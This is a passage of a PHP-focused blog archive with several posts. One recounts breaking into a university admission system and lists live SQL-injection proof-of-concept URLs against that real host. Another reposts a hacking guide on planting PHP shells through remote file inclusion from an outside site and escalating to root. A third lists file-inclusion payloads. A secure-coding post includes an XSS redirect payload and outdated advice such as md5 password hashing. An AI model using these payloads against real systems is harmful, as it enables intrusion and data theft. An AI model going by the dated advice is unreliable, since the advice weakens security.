Showing posts with label php. Show all posts
Showing posts with label php. Show all posts

Wednesday, 23 July 2014

Hacking KU Admission Web Application

This post is a write-up of my attempt to keep local scene safe and secure and make institutions, programmers and digital users aware about security.

Today, at 1:00 PM, I got a call from a very talented NJ Subedi who told me that some guy told him that the guy could change all his scores and would be able to get him admitted to Kathmandu University even without appearing on the exam. WTH! I told myself. I was working on one of my projects so at first, I did not think of trying to attack the admission app. But, I could not resist my curiosity and soon began some basic recon.

My findings:-

Server: Ubuntu 12.04
OpenSSH 5.9p1
Apache httpd 2.2.22
MariaDB (possibly 5.5.37)


I started smelling bad things when I found that MariaDB port 3306 was open to the world and anybody could access the database server given the credentials.

I knew of an authentication bypass bug in MySQL/MariaDB. But, it was for older versions of database server so after a quick test, I ruled out this exploit.

SSH port was also open to the world and SSH bruteforcing is still common. I don't know if a weak password has been chosen for one of the accounts in the system but I ruled out this possibility believing that there had to be something else: some kind of coding flaw or deployment issue.

Then, I started looking at the source code of common.js file. I could immediately sense that the directory browsing has been enabled so I could list files in a directory without an index file. Looking at the pattern of javascript backup file, I could access backup copies of PHP files as well which revealed critical database credentials. BOOOOM!!! The MariaDB service is open to the world and I now have database credentials of the apply.ku.edu.np/cbt web application. It turned out easier than expected

I then switched to the terminal and got access to the MariaDB server. Within half an hour, I was already in the database. As a proof, I've attached 'show tables' output. No further queries were executed.



Remedies:-

  • Remove all backup copies of PHP files
  • Filter port 3306 and 22 for limited trusted IPs only (Though I didn't bruteforce MariaDB or SSHD, it can also be an issue).
  • Check if any users have been added to linux system and mariadb mysql.user list and revoke necessary accesses
  • Change mariadb users and passwords
  • Disable remote access to MariaDB


Timeline:-

1:10 PM - started looking into the issue
1:35 PM - got access to the system
2:00 PM - notified concerned people
3:30 PM - bugs resolved
4:00 PM - Vulnerability disclosed


That was quickly fixed. Wish all the applicants good luck.

Updates:- Later, I found a blind SQL injection flaw and a possible vulnerability that would allow to send reset e-mail to all the applicants (I did not test the later one but can still see the possibility of existence of this flaw.)

The blind SQL injection flaw was in ajaxCallFile.php which checks for valid e-mail during password reset process. Its non-trivial but still possible to use this flaw to attack the web application. Below are few PoC URLs:

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27;%20--+&entryMode=checkEmail (A seemingly invalid e-mail address but SQL contextual emailID generates a valid result

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=1;%20--+&entryMode=checkEmail (I'm using AND 1 = 1 which is always true here)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+1=2;%20--+&entryMode=checkEmail (I'm using AND 1=2 this time)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+5=substr%28@@VERSION,1,1%29;%20--+&entryMode=checkEmail (Here, I find the major version of database is 5.x)

http://apply.ku.edu.np/admission/ajaxCallFile.php?&emailID=%27%20or%201=%271%27%20+AND+%27snipped_for_security%27=substr%28user%28%29,1,3%29;%20--+&entryMode=checkEmail (Here, I can see that first three characters of current db user are 'snipped_for_security')

It was also quickly fixed. Thanks for working hard on keeping applicants safe.


Read more...

Monday, 19 November 2012

PHP 5.5 To Include Simple And Secure Password Hashing API

Few days ago, we saw the release of PHP 5.5.0 Alpha 1 to the public. The PHP development team is serious about addressing all the criticism it gets time and again. With the recent leaks of several high profile sites, a simple to use yet secure password hashing API has been introduced now.

Here's the RFC for simple password hashing API proposed by ircmaxell and now it has been implemented as a PHP core in 5.5.0 Alpha 1 release and will continue to be part of the PHP core in future releases.

In case you would like to use the API functions in older releases, there's a compatible PHP library for PHP >= 5.3.7. The reason for this is that PHP prior to 5.3.7 contains a security issue with its BCRYPT implementation.



Basically the idea behind simple password hashing API is that most of the PHP developers either don't understand or don't think worth the effort the whole concept of strong password hashing. By providing a simple API that can be called, which takes care of all of those issues for you, hopefully more projects and developers will be able to use secure password hashing.

Using the API is quite simple. All you have to do to get the hash is:

$hash = password_hash($password, PASSWORD_BCRYPT);


Verifying the password is also quite simple.

if (password_verify($password, $hash)) {
    // pass is correct :)
} else {
    // pass is correct :/
}


The simple password hashing API provides sets of password_* functions for the developers to make use of strong password hashing.

Reading materials



RFC for simple password hashing API

Designing an API

PHP 5.5.0 Alpha 1 released


Read more...

Monday, 27 August 2012

PhalconPHP - A PHP Framework Available As An Extension

Phalcon framework, a new approach on PHP frameworks. PhalconPHP is an interesting PHP framework delivered as a C extension providing high performance and lower resource consumption.

What is Phalcon


Phalcon is an open source, full stack framework for PHP 5 written as a C-extension, optimized for high performance. You don’t need learn or use the C language, since the functionality is exposed as PHP classes ready for you to use. Phalcon is loosely coupled, allowing you to use its objects as glue components based on the needs of your application.

For compilation, follow the following steps:

# git clone git://github.com/phalcon/cphalcon.git
# cd cphalcon/release
# export CFLAGS="-O2 -fno-delete-null-pointer-checks"
# phpize
# ./configure --enable-phalcon
# make
# sudo make install

Then, add extension to your php.ini

extension=phalcon.so

And finally restart the webserver.

Useful Links

PhalconPHP on GitHub

Interesting review on PhalconPHP

PhalconPHP Documentation

PHP MVC framework benchmark at ruilog.com

PHP MVC framework benchmark at laruence.com


Read more...

Thursday, 16 February 2012

Art of hacking 4 - spyd3rm4n's guide to hacking

Well this is the part 4 of the art of hacking series I've been posting here. Since the original site dmz has been down since long time, I have been uploading these tutorials. This part of tutorial explains what a PHP shell is and how you can use the php shell to gain the root access in the servers.

[0x01] PHP_Shell - what it is
[0x02] Root
[0x03] Obtaining_Root

Sub PHP_Shell{
What is a PHP Shell you may ask yourself. A PHP Shell is exactly what it says. It is a shell written in PHP that is used to emulate console and contains automated scripts to help you do whatever it is that you need. My favorite shell is the x2300, although it is hard to come by.
}

Sub Root{
root is the user on a nix based OS that has all privileges to do anything wished. Obtaining it through a PHP Shell can be a long and frustrating process.

The first thing that needs to be done, is the get a PHP Shell on the system. This can be done through and RFI (Remote File Inclusion) vulnerability.

Example: http://site.com/index.php?page=about.php
You can use this as an LFI (Local File Inclusion) and RFI.

http://site.com/index.php?page=../../../../../etc/passwd

This will show the passwd on the linux box. Giving you directory listing for every user on it.

http://site.com/index.php?page=http://anothersite.com/evilshell.php

This will include the evilshell.php located at anothersite.com

Looking for a vulnerability in a script:
The easiest way to find an LFI/RFI is to look for something like

include();
@include();

as long as the include() function includes user input, like

$page = $_GET['page'];

This is the GET method, $page is assigned to the value of page. http://site.com/index.php?page=
@include($page);

^ Jackpot.

Once the shell is on the site, you can look around for anything useful on the box that can be used to obtain root. I suggest looking for config files that contain mysql information. If you find the resellers config or global.inc file and it contains root mysql information, you can use this to look through the mysql database for any software that requires root input.
Example:

Lets say for the sake of this tutorial, I have software on my computer that requires root to run. So I have to give it the root user and password. This is stored in the mysql database. Once someone is in the mysql database and finds the information for that software, they will see the root user and pw for the box.

That is one of the most common ways of obtaining root through research. One thing to note, is that hosting companies often forget to assign a password for root mysql. So if you have a PHP Shell, try connecting to the SQL Database using the user root and no password. Funny how there is no fix for human error.

Another way to obtain root is through an overflow. You can get these root shells, usually scripts that will exploit and overflow a process running as root to spill out/change/grant a user root privileges.
Example:

There is a process running as root, this process is a result of the program called shell_av (Shell AntiVirus)

Now, lets say I know a local root overflow exploit for shell_av. I will create a script using shell code (which will be covered in the mini-book stack/buffer overflows) in C that will overflow this app and use the PHP Shell to wget it from a remote server so I don't have to type it all up in that little cmd box.

Once executed the cmd box will output the information for that overflow. Let's say that the overflow only granted the user that the shell is on root priviledges.
(The PHP Shell is located on in the directory of /home/bob/public_html/ - bob is the user)
This would grant bob root privileges. Now all you have to do is get bob's password and login SSH, and you have complete control of the box.
}

- Credits : Kr3w of TheDefaced.


Read more...

Tuesday, 24 May 2011

Remove Warnings & Notices From Psychostats

I was testing the psychostats script today and while testing I found that it displayed lots of warnings and notices that make the script look so bad as the output is totally messed up. This post will help you to fix this problem.

At first, I tried to change the error_reporting and display_errors setting in php.ini file but I could not get rid of those errors. So I then put a line of code as below at the top of index.php file of psychostats. Still no luck. Finally, I navigated to ./includes relative to psychostats root folder where there was a file named class_PS.php. Open this file and type the following line below <php line.

error_reporting(0);

This will suppress all those errors and will make your psychostats look better. I hope this helps.

Read more...

Sunday, 27 March 2011

Passing variable/arbitrary number of arguments in PHP

Sometimes, we might need to pass arbitrary number of arguments in PHP and probably we might have been using the option arguments feature of PHP for this purpose but we have got yet another function that can be utilized for passing arbitrary number of arguments to your functions.

func_get_args() is a very useful function available to achieve the passing of arbitrary number of arguments. The function returns the array of the arguments passed to the function. The following sample code will clarify.
<?php
function func()
{
 $args = func_get_args(); //array of the arguments passed to the function
 //now we could do anything with them..
 
 foreach ($args as $key => $val)
 {
  echo "Argument $key : $val
";
 }
 
 }
 func();
 func("I love my Nepal");
 func("I love my Nepal", "I love my culture");

?>

Hope it helps some of you out there.


Read more...

Friday, 19 November 2010

Variations for exploiting the File Inclusion vulnerability

This post lists some of the ways that I've learnt to exploit the file inclusion vulnerability. I'm quite sure that there are much more variations and modifications to exploit file inclusion so if you have any, feel free to comment here.

Before going on this post, you might want to read my previous articles posted here before:
LFI tutorial
RFI tutorial
-> A sample vulnerable piece of code would be something like below: test.php
<?php
include("incs/".$_GET['page']);
?>

-> including file in the same directory
test.php?page=.htaccess
test.php?page=.htpasswd

-> path traversal to include files in other directories
test.php?page=../../../../../../../../../etc/passwd

-> Nullbyte injection
test.php?page=../../../../../etc/passwd

-> Directory listing with nullbyte injection only for FreeBSD (afaik) and magic quotes off
test.php?page=../../../../home/

-> PHP stream/wrappers inclusion
test.php?page=php://filter/convert.base64-encode/resource=config.php

-> Path Truncation inclusion
test.php?page=../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …

I'll update it more and more when I get to know other variations on exploiting the file inclusion vulnerabilities.

Read more...

Tuesday, 28 September 2010

Full path disclosure tutorial

Full path disclosure(FPD) is the revelation of the full operating path of a vulnerable script. Full Path Disclosure vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/samar/public_html/. FPD bugs are executed by providing unexpected characters to the vulnerable functions that will in return output the full path of the vulnerable script.

FPD bugs are often overlooked and are not considered as the security threat by many webmasters but that's not true. FPD might be useful for the hackers to determine the structure of the server and they can utilize it to perform other attacks such as file inclusion attacks or load_file() attacks via sql injection.

How to execute FPD
a) Nulled session cookie
Nulled session injection or illegal session injection is done by changing the value of session cookie to an invalid or illegal character.
Illegal Session Injection is made possible via changing the value of the session cookie to an invalid, or illegal character. The most common method is by injecting the NULL character to the PHPSESSID cookie. To inject a PHPSESSID cookie, use JavaScript injection via the URL bar:
javascript:void(document.cookie="PHPSESSID=");

On setting the PHPSESSID cookie value to NULL, we can see the result like:

Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in /home/samar/public_html/includes/functions.php on line 3

b) Array parameter injection(Empty array)
This is another common method of executing the full path disclosure vulnerabilities and usually works for me in many sites. There are different PHP functions which will output warning message along with the full path of the script such as htmlentities(), mysql_num_rows(), opendir(), etc.
We can exploit the $_GET variables... Lets take a simple example:

http://localhost/index.php?page=main

Now, lets exploit the $_GET['page'] variable which will look as below:

http://localhost/index.php?page[]=main

The full path disclosure can be prevented by turning off the display of errors either in php.ini configuration file or in the script itself:

php.ini
display_errors = 'off'

in php scripts
error_reporting(0);

//or

ini_set('display_errors', false);

Read more...

Wednesday, 22 September 2010

Replacing All Instances of a Word in string [PHP]

PHP offers a useful function called str_replace() that can be used to replace every instance of a word in a string. This function takes three compulsory arguments and one optional argument.

The first argument represents the string to be replaced, the second the replacement value and the third the target string. The function returns the modified string.

Example:

<?php
function replace($string)
{
    return str_replace("dog", "samar", $string);
}

$str = "I am dog so you call me dog";
echo $str;
echo "
".replace($str); //call replace function
?>

Output:
I am dog so you call me dog
I am samar so you call me samar

Now, what if you want to work with arrays of words to replace with, for instance, in the censoring tasks. You can write some PHP stuff as below to perform the task.

<?php
function badword_censor($string)
{
    $string = strtolower($string);
    $badwords = array("fuck","bitch","cunt","faggot","penis","vagina","dick","pussy");
// add as per your requirement
    $string = str_replace($badwords,"*censored*",$string);
    return $string;
}
$str = "Fuck you bitch.";
//echo $str;
echo "
".badword_censor($str);
?>

Output:
*censored* you *censored*.

Also, refer to the str_ireplace(), the case insensitive version of this function.
Hope this helps. :)

Edit: Thanks to cr4ck3r for the comments. Updated the post... :)

Read more...

Working with text case of PHP string

PHP provides number of functions to work with the case of the string. All these functions take the source string as their argument and return the modified string. The original source string will not be modified by any of these functions.

The PHP functions for working on case are:
strtolower() - Converts the entire string to lowercase

strtoupper() - Converts the entire string to uppercase

ucfirst() - Converts the first letter of the sentence to uppercase

ucwords() - Converts the first letter of every word in string to uppercase

<?php
//usage of ucfirst() function
$str = "i am samar";
$str = ucfirst($str);
echo $str;
?>

Output: I am samar



<?php
//usage of ucwords() function
$str = "i am samar";
$str = ucwords($str);
echo $str;
?>

Output: I Am Samar



<?php
//usage of strtoupper() function
//similarly use strtolower() function
$str = "i am samar";
$str = strtoupper($str);
echo $str;
?>

Output: I AM SAMAR


Read more...

Monday, 23 August 2010

Writing secure codes in PHP[basic]

PHP is the most used web developing language and with the increased use of it, there have been increase in poorly programmed sites which have resulted in number of admin hacks and sometimes even worse, server rooting. So I am going to give you some ideas for writing secure codes for general coding flaws in PHP. Most of the time, the programmers forget to sanitize the user input in their PHP code & hence, the code becomes vulnerable to some of the common exploits like file inclusion vulnerabilities, SQL injection, XSS & others... The programmer should never trust anything that comes from the clients and so (s)he should try to create whitelist for what is allowed to. So I am here to give you ideas on preventing these simple vulnerabilities from your PHP code...

General steps:
Validate every input.
Secure your file system.
Secure your file upload system.
Secure your file download system.
Secure your database connection codes.
Secure/encrypt the data.
FILE INCLUSION : File inclusion vulns like RFI(remote) & LFI(local) are exploited by including another file(other than intended by programmer) & this is damn devastating as we can completely rm the box if we escalate privilege with PoC exploits... Anyway let me show the vulnerable code for it...
<?php

$page = $_GET['page'];

if (isset($page))   #checks if the $page variable page is set or not
{
include($page);   #includes the page without checking if it is legitimate or not...
}

?>

I've seen many programmers writing the same code & it leads to unexpected result... So any malicious user can include some evil files to r00t the box & you are own3d...

Also many programmers think that they can patch this vuln with the following snippet(based on real example from one of the Nepali ISPs site)
<?php

$venpage = $_GET['page'];
$venpage = $venpage . ".php";

if (IsSet($venpage))
{
include($venpage);
}

?>
This seems to work fine as it intends to include only php files... aha but still it has got a hole... NULLBYTES - - ? Oh hacked but I secured it... Did you??? No, you didn't... Nullbytes in PHP will terminate the string at where they come and ignore anything that comes after it.

So let me talk about securing it... There are number of ways to secure it and all are perfect. But, at least for me, the switch is the perfect and simplest method to secure this whole code...
<?php

$page = $_GET['page'];

if(isset($page)) #check if there's page variable set or not
{
switch($page)
{

case "info":
include("info.php");
break;

case "about":
include("about.php");
break;

default:
include("index.php");
break;

}
}
?>
The above written code is simple yet secured. You may also create the array of valid files

Another method using regular expression is:
<?php
//ERROR_REPORTING(E_ALL);
if (IsSet($_GET['page']))
{
$page=$_GET['page'];
$page=preg_replace('/[^a-z]+/i','',$page);    //regular expression working here
include $page.".php";
}
else
{
echo "No page set";
}
?>

this also should work fine though as already stated I don't use this one... Its a regular expression method...


SQL INJECTION(SQLi): SQL injections are one of the most prevalent web vulns in the websites and they can be very harmful especially for the commercial sites. But still many sites still remain vulnerable to the SQL injection. & again the problem is again the lack of sanitization of GET/POST or COOKIE variables or any other inputs from users... To avoid SQL injection, you need to be as hard as you can. Don't allow any other data types where you assume to be integer types. Don't allow something that is not what you wanted to be accepted by your code. Be as strict as you can for the datatypes.
Now let me show you the simplest form of the vulnerability.
<?php
//configurations for mysql connection
$host = "localhost";
$user = "root";
$pass = "w000000t";
$db = "db_shop";
//connecting to mysql
mysql_connect($host, $user, $pass);
mysql_select_db($db);

$uid = $_GET['uid'];

if (isset($uid))
{
$query = mysql_query("SELECT * FROM `profile` WHERE `uid` = $uid");
if ($query)
{
while($profile = mysql_fetch_array($query))
{
//display or do something here
}
}
}
?>

You can see that this takes uid from GET i.e. from user and works accordingly. Seems fine and most of the site visitors won't know about it. But what if someone elite visits the site. He/She will test the GET variable and change the uid value.
The query runs and runs without any filtering mechanism. And if the malicious runs the SQL query, he can do anything to the database. So what's the solution for this? Simply, type checking. You won't expect uid to be anything other than integer type. So why not tell PHP that the uid must be integer...
<?php
//configurations for mysql connection
$host = "localhost";
$user = "root";
$pass = "w000000t";
$db = "db_shop";
//connecting to mysql
mysql_connect($host, $user, $pass);
mysql_select_db($db);

$uid = (Int) $_GET['uid'];    //you say that uid must be integer...

if (isset($uid))
{
$query = mysql_query("SELECT * FROM `profile` WHERE `uid` = $uid");
if ($query)
{
while($profile = mysql_fetch_array($query))
{
//display or do something here
}
}
}
?>

So this should be secure as the $_GET['uid'] is type casted as integer. Other ways are using the functions is_numeric() which tests if the given variable is integer or not and intval() that would return integer value of variable.
Note that the ways for securing other datatypes is different. I would list you some of the functions so that you can use them to secure your site from SQLi.
Functions to secure SQLi:
mysql_real_escape_string()
addslashes()

The above example was just for SELECT query but you need to watch the other queries like INSERT, UPDATE and DELETE because you can't just trust the user inputs. Moreover, it is always better to strip the inputs to the limited number of characters so that you won't mess up with SQL column truncation vulnerability(google if you want to know about it). Also, always use quotes and brackets in the SQL query strings if your database allows(MySQL does allow).

Cross site scripting(XSS): Its the most prevalent web app vulnerabilities which have been detected even in high profile sites like facebook, microsoft, twitter, etc. It also occurs when you don't sanitize the user inputs. Consider the guestbook which does something like below:
<?php
if (isset($_POST['sbtGuestbook']))
{
    $name = $_POST['name'];
    $comment = $_POST['comment'];
    //insert these things into the database
    //now print these infos in the page
    echo $name."<br />".$comment;
}
?>
Now, in the name or comment field if I put something like
<script>alert('samar');</script>
the site is going to display it and as since the HTML tags are not filtered, samar will be alerted in the page. Its just an example. Hackers can redirect users from your site using this exploit by inserting
<script>location.replace("http://hackerssite.com.np");</script>
Now let me come to securing it.
<?php
    $name = htmlspecialchars($_POST['name']);
    $comment = htmlspecialchars($_POST['comment']);
    //insert these things into database
    //now print them
    echo $name."<br />".$comment;
?>
Here I have used the function htmlspecialchars() which converts all html special characters into their equivalent entities. For example, < to &lt; and > to &gt;
Since these conversions are made to tags, they do not work as HTML tags and hence prevent XSS. More functions to use while preventing XSS are htmlentities(), strip_tags(), url_encode(), etc. To make 100% XSS proof site, validate everything like $_SERVER variables too. They too can be compromised to XSS the site.


Some critical functions: Here are some of the functions you should be careful with.

passthru(), exec(), system(), shell_exec(), file_get_contents(), fopen(), fwrite(), glob(), file(), readfile(), popen(), mysql_query(),

Other Extra tips: Security of your server can be enhanced by doing some hardening through PHP.INI file too and coding in better styles.
1) Turn off the register_globals
2) Set error_reporting to 0
3) Use @ sign before the functions that are likely to fail usually. eg: @include($page);
4) Turn off allow_url_fopen in PHP.INI
5) Turn on magic_quotes_gpc in PHP.INI
6) Always encrypt the sensitive information. For eg. use md5() once or twice to hash your password.

NOTE: Written around a year ago.

Read more...